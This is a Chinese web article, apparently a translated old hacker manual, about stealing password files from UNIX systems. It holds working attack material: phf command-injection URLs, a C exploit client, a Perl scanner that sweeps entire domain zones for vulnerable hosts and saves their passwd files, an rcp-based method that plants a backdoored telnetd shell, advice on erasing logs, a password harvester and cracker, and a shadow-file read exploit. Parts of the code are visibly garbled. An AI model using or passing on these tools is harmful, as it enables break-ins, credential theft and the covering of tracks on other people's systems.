建站极客  
                        网络安全                          加密解密                          正文 
                     
                 
                
                    从UNIX系统获取密码档(一)                 
                
                    所属分类:
                        网络安全  / 加密解密                      
                    阅读数:
                        129 
                    
                        
                                 
                             收藏 0
                                 
                             赞 0
                                 
                             分享 
                    
                 
                
                    目录:  
PHF:WWW的PH查询  
PHF查询攻击新方法  
从新手处获取  
获取shadow密码档  
获取/etc/hosts档  
本文列举了几种从UNIX系统获取密码档的方法。其中大多数方法要求你拥有一个  
有效帐号;但也有不需帐号也可访问系统的方法。在这里你还能知道完整的密码档与  
shadow密码档的区别,并学习到如何读取shadow密码档。  
--------------------------------  
PHF:WWW的PH查询  
如果在WWW的cgi-bin的目录下有一个名为phf的可执行(具有x权限)程序,那么你就  
可以通过WWW或LINUX的文本浏览器lynx访问它。该功能允许你读取系统上的文件,如  
/etc/passwd等,并保存在本地机上。  
以下是我们所需要做的。如果httpd服务器是由root根用户运行的,通过使用phf,我  
们可以成为该服务器的root用户;甚至修改服务器上某个用户的密码。  
这里有一个perl脚本,它对使用上一章中的getdomain.pl脚本所得到的结果进行检测,  
并检查运行服务器的用户。如果是root用户,它就记录其id;如果不是root用户,则会自动  
从/etc目录下读取passwd档,并保存为domain.???.passwd文件。  
我还会给出另一个脚本,它允许你从一个shell中运行一条命令。只要该系统有phf,  
你就可以在shell中输入一命令行,通过管道命令传送到远程系统上执行。  
OK。现在你该知道下一步是什么了?让我们来学习如何利用phf。  
把你最喜爱的web浏览器或是UNIX系统中经常使用的lynx文本浏览器连接到网络上。  
在浏览器窗口或屏幕出现后,键入g(译者注:即使用浏览器的“go”功能)。便会  
出现以下内容(译者注:以lynx为例):  
URL to open:  
Arrow keys: Up and Down to move. Right to follow a link; Left to go back.  
H)elp O)ptions P)rint G)o M)ain screen Q)uit /=search [delete]=history list  
在URL to open: 处输入:http://xxx.org/cgi-bin/phf/?Qalias=x
id  
URL to open: http://xxx.org/cgi-bin/phf/?Qalias=x
id  
Arrow keys: Up and Down to move. Right to follow a link; Left to go back.  
H)elp O)ptions P)rint G)o M)ain screen Q)uit /=search [delete]=history list  
返回如下内容:  
QUERY RESULTS  
   
/usr/local/bin/ph -m alias=x id  
uid=65534(nobody) gid=65535(nogroup) groups=65535(nogroup)  
以上内容表明:运行服务器的用户是nobody。因此,我们便成为了该服务器的nobody  
用户。虽然我们还不是root用户,但必将是。 ;-)  
命令行:  
http://afp.org/cgi-bin/phf/?Qalias=x
id  
id是一个命令,它要求服务器返回用户的id。有时我们需要给出全路径,比如:http://afp.org/cgi-bin/phf/?Qalias=x
/usr/bin/id  
注意
后面是命令行内容。如果你想输入一个空格符,就要用 代替,以下是经常  
要用到的几个命令行:(以
开始)  
显示passwd密码档:  
/bin/cat /etc/passwd  
获取/etc目录下所有以pass开始的详细文件列表:  
ls -al /etc/pass*  
如果你有访问http的root用户权限,备份passwd文件为passwd.my文件:  
cp /etc/passwd /etc/passwd.my  
更改root用户密码(服务器往往会允许你这样做 ;-) ):  
passwd root  
(以上命令可以让你在以root用户登录时不需输入密码,(译者注:也就是更改root用户  
的密码为空,然后再telnet该主机。)别忘了将passwd.my恢复为passwd(译者注:恢复  
root用户的旧密码),删除备份文件,然后你就可以运行一个合适的shell,并将其隐藏起来  
作为嗅探器(sniffer)来获取所需的密码了。)  
只要你知道如何在UNIX中输入命令,同时没有忘记使用 来代替空格符,你就不会遇  
到什么困难!  
OK。现在让我们来获取本例中的passwd档吧。;-)  
URL to open: http://xxx.org/cgi-bin/phf/?Qalias=x
cat /etc/passwd  
我们将会看到:  
QUERY RESULTS  
   
/usr/local/bin/ph -m alias=x cat /etc/passwd  
root:R0rmc6lxVwi5I:0:0:root:/root:/bin/bash  
bin:*:1:1:bin:/bin:  
daemon:*:2:2:daemon:/sbin:  
adm:*:3:4:adm:/var/adm:  
lp:*:4:7:lp:/var/spool/lpd:  
sync:*:5:0:sync:/sbin:/bin/sync  
shutdown:*:6:0:shutdown:/sbin:/sbin/shutdown  
halt:*:7:0:halt:/sbin:/sbin/halt  
mail:*:8:12:mail:/var/spool/mail:  
news:*:9:13:news:/usr/lib/news:  
uucp:*:10:14:uucp:/var/spool/uucppublic:  
operator:*:11:0:operator:/root:/bin/bash 
games:*:12:100:games:/usr/games:  
man:*:13:15:man:/usr/man:  
postmaster:*:14:12:postmaster:/var/spool/mail:/bin/bash  
nobody:*:-2:100:nobody:/dev/null:  
ftp:*:404:1::/home/ftp:/bin/bash  
guest:*:405:100:guest:/dev/null:/dev/null  
bhilton:LkjLiWy08xIWY:501:100:Bob Hilton:/home/bhilton:/bin/bash  
web:Kn0d4HJPfRSoM:502:100:Web Master:/home/web:/bin/bash  
mary:EauDLA/PT/HQg:503:100:Mary C. Hilton:/home/mary:/bin/bash  
(一个小小的密码档 ;-) )  
如果你希望保存这个文件,只要在文本浏览器中选择“打印”和“保存  
为文件”即可。  
现在让我们了解一下paaswd档的结构:  
mary:EauDLA/PT/HQg:503:100:Mary C. Hilton:/home/mary:/bin/bash  
1 :2 :3 :4 :5 :6 :7  
1=用户名 2=被加密的密码 3=用户标识 4=用户组id 5=真实名字  
6=用户根目录 7=shell  
好。假设你不想使用WWW浏览器,编译并执行以下脚本也可以达到目的:  
phf.c  
------ cut here----  
/* Some small changes for efficiency by snocrash. */  
/*  
* cgi-bin phf exploit by loxsmith [xf]  
*  
* I wrote this in C because not every system is going to have lynx. Also,  
* this saves the time it usually takes to remember the syntatical format  
* of the exploit. Because of the host lookup mess, this will take  
* approximately 12 seconds to execute with average network load. Be patient.  
*  
*/  
#include   
#include   
#include   
#include   
#include   
#include   
#include   
int main(argc, argv)  
int argc;  
char **argv;  
{  
int i = 0, s, port, bytes = 128;  
char exploit[0xff], buffer[128], hostname[256], *command, j[2];  
struct sockaddr_in sin;  
struct hostent *he;  
if (argc != 3 && argc != 4) {  
fprintf(stderr, "Usage: %s command hostname [port]", argv[0]);  
exit(1);  
}  
command = (char *)malloc(strlen(argv[1]) * 2);  
while (argv[1][i] != '\0') {  
if (argv[1][i] == 32) strcat(command, " "); else {  
sprintf(j, "%c", argv[1][i]);  
strcat(command, j);  
}  
  i;  
}  
strcpy(hostname, argv[2]);  
if (argc == 4) port = atoi(argv[3]); else port = 80;  
if (sin.sin_addr.s_addr = inet_addr(hostname) == -1) {  
he = gethostbyname(hostname);  
if (he) {  
sin.sin_family = he->h_addrtype;  
memcpy((caddr_t) &sin.sin_addr, he->h_addr_list[0],  
he->h_length);  
} else {  
fprintf(stderr, "%s: unknown host %s\n", argv[0], hostname);  
exit(1);  
}  
}  
sin.sin_family = AF_INET;  
sin.sin_port = htons((u_short) port);  
if ((s = socket(sin.sin_family, SOCK_STREAM, 0)) < 0) {  
fprintf(stderr, "%s: could not get socket\n", argv[0]);  
exit(1);  
}  
if (connect(s, (struct sockaddr *)&sin, sizeof(sin)) < 0) {  
close(s);  
fprintf(stderr, "%s: could not establish connection\n", argv[0]);  
exit(1);  
}  
sprintf(exploit, "GET /cgi-bin/phf/?Qalias=X%
%s\n", command);  
free(command);  
write(s, exploit, strlen(exploit));
 
while(bytes == 128) {  
bytes = read(s, buffer, 128);  
fprintf(stdout, buffer);  
}  
close(s);  
}  
-------- cut here  
使用举例:  
bash% phf id xxx.org  
------  
Query Results  
  
/usr/local/bin/ph -m alias=X  
id  
  
uid=65534(nobody) gid=65535(nogroup) groups=65535(nogroup)  
</GET /cgi-bin/phf/?Qalias=X
id  
------  
以上是系统对程序的响应。再说一次,使用 代替命令行中的空格符。  
使用如下格式可显示passwd档:  
phf cat /etc/passwd hostname.xxx  
另外,Quantumg在他的主页上提供了利用phf的新方法,我觉得有必要让大家  
了解一下。  
内容如下:  
--------------------------------------------------------------------------------  
Phf 查询攻击新方法  
是的。我知道phf攻击已经是众所周知了,但你会奇怪为什么还有那么多笨的  
LINUX用户。。。  
首先...先介绍一下背景:  
phf是Apache上WWW服务器的cgi-bin命令。它存在缺陷,其后果是允许任何人以运行  
http服务器用户的身份执行命令。通常该用户是nobody,但有时是root。要利用这一  
缺陷,只需简单地连接了该WEB服务器,并执行以下查询:  
GET /cgi-bin/phf/?Qalias=X
  
其后跟着你所希望运行的命令(用 代替空格符)。  
OK。以下是攻击方法。我们所要做的就是寻找存在phf漏洞的LINUX服务器。(我  
经常telnet到issue.net查找。)和大多数人一样,我使用Loxsmith编写的phf程序。  
该程序要求把目标主机名放在第二个参数,而所要执行的命令放在第一个参数:  
phf id www.host.to.hack  
这里id就是所要执行的命令,这往往是我第一步都会做的。因为它不仅告诉你此  
系统是不存在此漏洞,还可以提供httpd用户的信息。因此,如果我们得到一个理想  
的响应,那就意味它就是我们的目标了。第一件事是获取目标主机上的有用资料,  
这并不是一件难事。你可以 (1)、检查是否有可读写的ftp目录;(2)使用rcp  
(这是我最喜欢用的)。为了使用这个命令,你需要对本地主机进行设置。(如果  
本地主机是你hack过的,那就好办多了。)首先是获得有效的用户帐号,名字应该  
简单而不易被注意(如:test);其次,把目标主机名写入本地主机的/etc/host.equiv  
中;接着就是在/etc/inetd.conf中必须有shell行;最后,在用户(test)根目录下建立  
含有目标主机名和httpd用户的.rhost文件。如下:  
/etc/hosts.equiv:  
www.host.to.hack  
/etc/inetd.conf:  
shell stream tcp nowait root /usr/sbin/tcpd in.rshd -L  
~test/.rhosts:  
www.host.to.hack nobody  
好。一旦一切都设置好了,便可以从远程主机上获取资料了。  
我以前采用的hack方法,都是将经过多次修改的小hack代码传送给phf执行。  
这并是一件轻松的事情,而且效率也不高。现在我找到了一个更好的解决办法  
被传送的是一个经过修改的in.telnetd,它被改为在“debug”方式下启动,“debug”  
方式将允许从端口9999登录,而且执行的shell是/bin/sh,而不是/bin/login。  
该in.telnetd允许在端口9999接受任意多的连接和执行shell。  
因而,为了使远程主机做到这一点,所要做的就是将其放入用户根目录,  
并确保可读。然后执行:  
phf 'rcp test@my.ip.address:bindwarez /tmp' www.host.to.hack  
在本地日志文件中,你会看到一个与in.rshd的连接和它所执行的命令(如:  
rcp -f bindwarez)...当phf执行完后,bindwarez会被复制到远程主机上的/tmp  
目录下,于是你便可以执行这个文件并远程登录到端口9999。  
如果这个网站的用户笨到以root运行http,你就可以通过安装一个in.telnetd  
特洛木马并清除日志,以获得root用户的密码。然而,在大多数情况下,你只能  
获得nobody权限,需要通过系统的其它漏洞去“黑”root用户。我常常发现这并不  
困难,因为系统管理员往往认为没有人会在WWW服务器上运行shell,因而没有必要  
设置安全系统。很显示,他们并不了解自己的系统是否存在phf缺陷。  
在这里,我不必再次强调清除日志的重要性。你在rcp命令中输入的地址是可以让  
系统管理员轻易发现的。这些日志通常在/usr/local/etc/httpd/logs或/var/lib/http/logs下。  
最简单的方法是在这些路径上查找它。如果找不到,可以执行find / -name cgi-bin。  
另外,不要忘记清除indwarez进程和删除/tmp/bindwarez文件。  
这个非常巧妙的攻击方法让phf做你想做的事,而phf对此却无可奈何。 ;-))  
L8s  
QuantumG  
另一个利用phf的方法就是执行以下脚本。它使用了从rs.internic.net下载并用  
getdomain.pl分析出的域名文件。geturl.pl脚本可以探测网络上的每一台domain。  
脚本内容如下:  
geturl.pl  
#!/usr/bin/perl -w  
#  
# geturl by Nfin8 / Invisible Evil  
# Questions to: /msg i-e or /msg i^e  
#  
# Format of http://website.dom/cgi-bin/phf?Qalias=x
/usr/bin/id  
# Format of http://website.dom/cgi-bin/phf?Qalias=x
/bin/cat /etc/passwd  
# IF result of first command returns an "id=" then check for user. If user  
# is not root then execute the 2nd form.  
# Assign null list to @URLs which will be added to later.  
my(@URLs)=();  
my($program) = "lynx -dump";  
# Pull off filename from commandline. If it isn't defined, then assign default.  
my($URLfilename) = shift;  
$URLfilename = "urls" if !defined($URLfilename);  
# Do checking on input.  
die("GetURL: $URLfilename is a directory.\n") if (-d $URLfilename);  
# Open and read contents of URL file into @URL by line.  
open(FILE, $URLfilename) or die("GetURL: Cannot open $URLfilename for input.\n");  
@URLs = ;  
close(FILE);  
# Open output file.  
open(OUTFILE, ">>GetURLResults") or die("GetURL: Cannot open output file.\n");  
my($url)="";  
foreach $url (@URLs) {  
print ("Now checking: $url");  
chomp($url);  
$result = `$program http://$/cgi-bin/phf?Qalias=x
/usr/bin/id`;  
print OUTFILE ("\n============ $url ============\n");  
foreach (split(/\n/, $result)) {  
print OUTFILE ("?用户名:@HackBase.net密?码:  
\n");  
}  
if ($result =~ m/id=/i) {  
if ($result =~ m/root/i) {  
print ("Logging root response.\n");  
} else {  
print ("Got ID response, getting /etc/passwd...");  
$result = `$program http://$/cgi-bin/phf?Qalias=x
/bin/cat /etc/passwd`;  
# Output results to file named .passwd;  
local($domainfilename)="";  
$domainfilename = $url;  
if (open(PASSWDFILE, ">$.passwd")) {  
print PASSWDFILE ("\n");  
foreach (split(/\n/, $result)) {  
print PASSWDFILE ("?用户名:@HackBase.net密?码: 
 
\n");  
}  
close(PASSWDFILE);  
print ("Done! [$domainfilename].\n");  
} else {  
print ("FAILED! [$domainfilename].\n");  
}  
}  
}  
}  
# We are done. Close the output file and end the program.  
close (OUTFILE);  
0;  
  
------------- cut here  
OK。这很简单吧。如果你定义了自己的域名文件urls,也可以使用geturl.pl。  
以下是脚本文件说明:  
这个轻巧的工具非常容易使用。它可以帮助你取得root用户权限和从不同的  
domain获取passwd密码档。  
geturl.pl试图记录Internet上每台domain对phf的响应结果。你可以选择.com .edu  
.org .mil .gov或是需要探测的IP地址列表。一旦发现具有root权限的用户,便在结果  
文件中记录uid=root,然后继续探测下一台domain。如果phf探测器找到的用户没有  
root权限,它就会读取该domain上的passwd密码档,并在当前目录下以domain.???.passwd  
文件名保存。  
以下是此工具的使用说明:  
ftp到rs.internic.net站点  
在domain目录下寻找:  
com.zone.gz  
edu.zone.gz  
gov.zone.gz  
mil.zone.gz  
net.zone.gz  
org.zone.gz  
下载这些文件并对目标主机所属域名文件运行getdomain.pl,如:  
perl getdomain.pl com.zone com >com.all  
该脚本会分析出.com域的所有主机名并输出到文件com.all中。  
如果希望分析.edu域,输入:  
perl getdomain.pl edu.zone edu >edu.all  
你便会有一个供geturl.pl使用的文件edu.all。  
使用geturl.pl的格式如下:  
geturl.pl   
用edu.all或com.all代替  
如果你定义了域名文件urls,运行geturl.pl时不需。  
运行结果被记录到当前目录下的GetURLResults文件中。  
1. geturl.pl使用lynx进行搜索(lynx要在查找路径中)。  
2. 如果geturl.pl发现在一个url的httpd上获得了root权限,就会记录该root用户。  
如果http用户不是root,但该用户具有在http上执行phf权限,就会抓取该  
domain的passwd档,并以fulldomainname.passwd的文件保存到当前目录下。  
3. 你也可以提供包含了IP地址列表的文件供geturl.pl使用。  
4. 我使用的是OS/2的lynx和perl,在长文件名方面没有遇到问题。我在UNIX机  
进行了测试,该程序也可以正常工作。  
你需要:  
1. Perl在查找路径中  
2. Lynx在查找路径中  
3. 长文件名(256字符)支持(如UNIX或OS/2)  
4. 本文所列出和包含的所有文件  
5. 从Internic站点下载的域名文件或自行制作的url或IP列表文件(取名为urls,  
运行时仅输入geturl.pl)  
注意事项:  
如果你有一个现金付费的互联网帐号或通过hack而得到的帐号使用此工具来获取  
成果,那就最好了。然后便可以用另一个安全的帐号使用你的劳动成果了。但我并不  
必警告你这些,对吧?我对这些工具并不觉得羞耻。这里提供的工具是让你们检查  
domain的安全性。;-)  
getdomain.pl: 分析.org .com .edu .mil .gov等internic域名文件  
geturl.pl: 检测并记录每一台domain的响应结果  
GetURLResults: geturl.pl程序的结果记录文件  
   
这里还有另外一种方法:  
如果你能读取/var/adm/messages文件,或许你能轻而易举地得到一些用户的密码!  
我曾经采用这种方法获得过root用户的密码!  
还记得有多少次你是急着登录的吗?你可能因此而在login:里输入了密码:这种  
事情是很容易发生的。这样你就会出现两次登录失败,系统就在这个时候胡所动作了。  
例如:(假设你很急着登录而没有留意屏幕)  
Login: (你键入回车(而你此时并不知道))  
Password: (你以为现在开始登录了,便输入用户名)  
Login: (然后输入用户密码)  
此时系统会在messages文件中产生如下记录:  
Login: (这里是你的用户密码!!!)  
Password ****** (系统当然不会给你看见密码了!?但由于你在Login:处输入了  
用户密码,只要我们有读取messages文件的权限,就会得到用户密码,并供crackerjack 
运行(以找出对应的用户)。如果是在一个小型系统,或许...就是root密码!;-))  
以上这些工作可以由以下脚本轻易完成!  
对于Quantum的bindwarez文件,你可以在附录中找到。  
------------ cut here  
#!/bin/sh  
# Under a lot of linux distributions(I know Redhat 3.0.3 and Slackware 3.0)  
# /var/log/messages is world readable. If a user types in his password at  
# the login prompt, it may get logged to /var/log/messages.  
#  
# I could swear this topic has been beaten to death, but I still see this  
# problem on every linux box I have access to.  
#  
# Dave G.  
# 12/06/96  
#   
# http://www.escape.com/~daveg  
echo Creating Dictionary from /var/log/messages, stored in /tmp/messages.dict.$  
grep "LOGIN FAILURE" /var/log/messages | cut -d',' -f2 | cut -c2- | sort | uniq >> /tmp/messages.dict.$  
if [ ! -e ./scrack ]  
then  
echo "Creating scrack.c"  
cat  scrack.c  
#include   
#include   
#include  
  
#include   
#define get_salt( d, s ) strncpy( d, s, 2 )  
void  
main(argc,argv)  
int argc;  
char **argv;  
{  
struct passwd *pwd;  
FILE *fp;  
char buff[80], salt[3], *encrypted_string;  
if ( ( fp = fopen( argv[1], "r" ) ) == NULL )  
{  
fprintf( stderr, "Couldnt find dict file\n" );  
exit(1);  
}  
while ( fgets( buff, 80, fp ) != NULL )  
{  
setpwent();  
buff[strlen(buff)-1]='\0';  
while ( ( pwd = getpwent() ) != NULL )  
{  
if ( strcmp( (*pwd).pw_passwd, "*" ) != 0 &&  
( strlen( (*pwd).pw_passwd ) == 13 ) )  
{  
get_salt(salt, (*pwd).pw_passwd );  
encrypted_string = crypt( buff, salt );  
if ( strcmp( encrypted_string, (*pwd).pw_passwd ) == 0 )  
{  
fprintf( stdout, "l: %s p: %s\n", (*pwd).pw_name, buff);  
fflush(stdout);  
}  
}  
}  
}  
}  
!  
echo "Creating scrack"  
cc -O6 -fomit-frame-pointer -s -o scrack scrack.c  
fi  
./scrack /tmp/messages.dict.$  
echo /tmp/messages.dict.$, ./scrack, and ./scrack.c still exist, delete them yourself.  
------ cut here  
--------------------------------------------------------------------------------  
从新手处获取  
好。重复一次,这是获取密码的另一种方法。只要按照第二章所谈到的相关  
内容去做就行了。运用你的智慧去与那些尚未成熟的“新手”交朋友吧。;-)  
对了。在阅读本手册前,你可能曾经也是别人的“新手”朋友呢!;-)  
--------------------------------------------------------------------------------  
获取shadow密码档  
什么是shadow密码档呢?  
举个例子,如果你利用上述方法取回来的passwd档,其内容如下:  
root:x:0:0:root:/root:/bin/bash  
bin:x:1:1:bin:/bin:  
daemon:x:2:2:daemon:/sbin:  
adm:x:3:4:adm:/var/adm:  
lp:x:4:7:lp:/var/spool/lpd:  
sync:x:5:0:sync:/sbin:/bin/sync  
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown  
halt:x:7:0:halt:/sbin:/sbin/halt  
mail:x:8:12:mail:/var/spool/mail:  
news:x:9:13:news:/usr/lib/news:  
uucp:x:10:14:uucp:/var/spool/uucppublic:  
operator:x:11:0:operator:/root:/bin/bash 
games:x:12:100:games:/usr/games:  
man:x:13:15:man:/usr/man:  
postmaster:x:14:12:postmaster:/var/spool/mail:/bin/bash  
nobody:x:-2:100:nobody:/dev/null:  
ftp:x:404:1::/home/ftp:/bin/bash  
guest:x:405:100:guest:/dev/null:/dev/null  
bhilton:x:501:100:Bob Hilton:/home/bhilton:/bin/bash  
web:x:502:100:Web Master:/home/web:/bin/bash  
mary:x:503:100:Mary C. Hilton:/home/mary:/bin/bash  
是不是少了点东西?噢,被加密的密码。如果你有root权限,就会在/etc/shadow中  
找到这些被加密的密码。某些系统管理员会将shadow档隐藏到其他隐蔽的目录下。但  
多数情况下,你可以在/etc目录下找到。有一些shadow程序会将密码保存到master.passwd  
文件中。但只要你有root权限,总有地方可以找到它。  
现在,假设你有一个有效帐号,但没有root权限。  
如果主机使用的是libc5.4.7(多数系统都使用它 ;-) ),而且下列文件之一要求  
必须有suid权限:  
ping, traceroute, rlogin, or, ssh  
1. 输入bash或sh以启动一个bash shell  
2. 输入: export RESOLV_HOST_CONF=/etc/shadow  
3. 输入以上文件名之一,并加上asdf参数,如:  
ping asdf  
如果一切正常,你就会得到shadow密码档。  
这个方法对于我这几天在许多系统中进行的测试均很有效。  
注:你可用所希望读取的文件名(文件拥有者是root)来取代/etc/shadow。  
以下脚本可以让你轻而易举地读取所需要的文件:  
rcb.c  
-------- cut here  
/* RCB Phraser - therapy in '96  
* Limits: Linux only, no binary files.  
* little personal message to the world: FUCK CENSORSHIP!  
*/  
#include   
void getjunk(const char *filetocat)  
{ setenv("RESOLV_HOST_CONF",filetocat,1);  
system("ping xy 1> /dev/null 2> phrasing");  
unsetenv("RESOLV_HOST_CONF");  
}  
void main(argc,argv)  
int argc; char **argv;  
{ char buffer[200];  
char *gag;  
FILE *devel;  
if((argc==1) || !(strcmp(argv[1],"-h")) || !(strcmp(argv[1],"--help")))  
{ printf("RCB Phraser - junked by THERAPY\n\n");  
printf("Usage: %s [NO OPTIONS] [FILE to cat]\n\n",argv[0]);  
exit(1);  
}  
getjunk(argv[1]);  
gag=buffer;  
gag =10;  
devel=fopen("phrasing","rb");  
while(!feof(devel))  
{ fgets(buffer,sizeof(buffer),devel);  
if(strlen(buffer)>24)  
{ strcpy(buffer strlen(buffer)-24,"\n");  
fputs(gag,stdout);  
}  
}  
fclose(devel);  
remove("phrasing");  
}  
-------------- cut here  
命令行:rcb /etc/shadow (或其他你在这个系统中不能读取的文件。;-) )  
   
--------------------------------------------------------------------------------  
获取/etc/hosts档  
需要注意的是,有时你需要知道有哪些系统在hosts文件中,或在这个系统中有哪些  
其他domain和所有的IP地址,因此,不要忘了读取/etc/hosts文件以获得以后你可能需要的  
资料。
                                     
             
            
                
                Getright 5 手动脱壳和重建IAT--第二部分(图) 在本参考教程的第一部分我们学习了如何正确地转储(dump)Getright 5. 现在我们将要去找神奇跳转,这样IAT会被正确地转储下来,而不用手工修复了. 要完成这一点,我们需要打败程序中的一些陷阱, 并使它们即使在检测到被执行脱壳时也无所作为. 
让我们开始吧! 
第
                    评论 0 
                    
                         
                     收藏 0
                         
                     赞 0
                         
                     分享
Getright 5 手动脱壳和重建IAT--第一部分(图) 这是一篇Armadillo加壳软件Getright 5.01的脱壳译文,我是参照Ricardo Narvaja的“Getright 5 脱壳和重建IAT”的文章以及Bighead[DFCG][YCG]的译文,一边实践一边再次翻译的。感谢Ricardo Narvaja和Bighea
                    评论 0 
                    
                         
                     收藏 0
                         
                     赞 0
                         
                     分享
黑客破解Email账号最常用的三种方法 电子邮件并不是安全的,在邮件的发送、传送和接收整个过程中的每个环节都可能存在薄弱环节,恶意用户如果利用其漏洞,就能够轻易的破解出账号,获得邮件内容。
一、利用邮件服务器操作系统的漏洞
邮件服务器软件是运行在特定的操作系统上的,如Linux、Windows NT/20
                    评论 0 
                    
                         
                     收藏 0
                         
                     赞 0
                         
                     分享
黑客技术之slv unpackme 脱壳 其实壳本身不要紧,问题是vm里面有个校验。
sm同学手下留情,我勉强能搞一个运行正常的,没精力还原vm了。
在virutalfree的retn上f4, 直到[esp]是一个exe image内的地址f7返回:
0040FA91    B8 BE180000     m
                    评论 0 
                    
                         
                     收藏 0
                         
                     赞 0
                         
                     分享
Allok Video to 3GP Converter 脱壳+破解(图) ①。
下载好安装后,用DIT查看为MoleBox 2.5.x.
-----------------------------------------------------------------------------
OD,载如RUN,程序完全运行后,ALT+M查看内存映
                    评论 0 
                    
                         
                     收藏 0
                         
                     赞 0
                         
                     分享
有密码 优酷视频 破解方法 优酷网站的视频可以设置独立的播放密码,不过你可知道:观看有密码的优酷视频其实不需要密码哦。下面讲述两种方法进行优酷视频密码破解的方法。 
优酷视频密码破解一: 
打开FLV解析网站,这里推荐使用该站点:http://www.flvcd.com,从浏览器地址栏复制需要解密的优酷
                    评论 0 
                    
                         
                     收藏 0
                         
                     赞 0
                         
                     分享
                 查看更多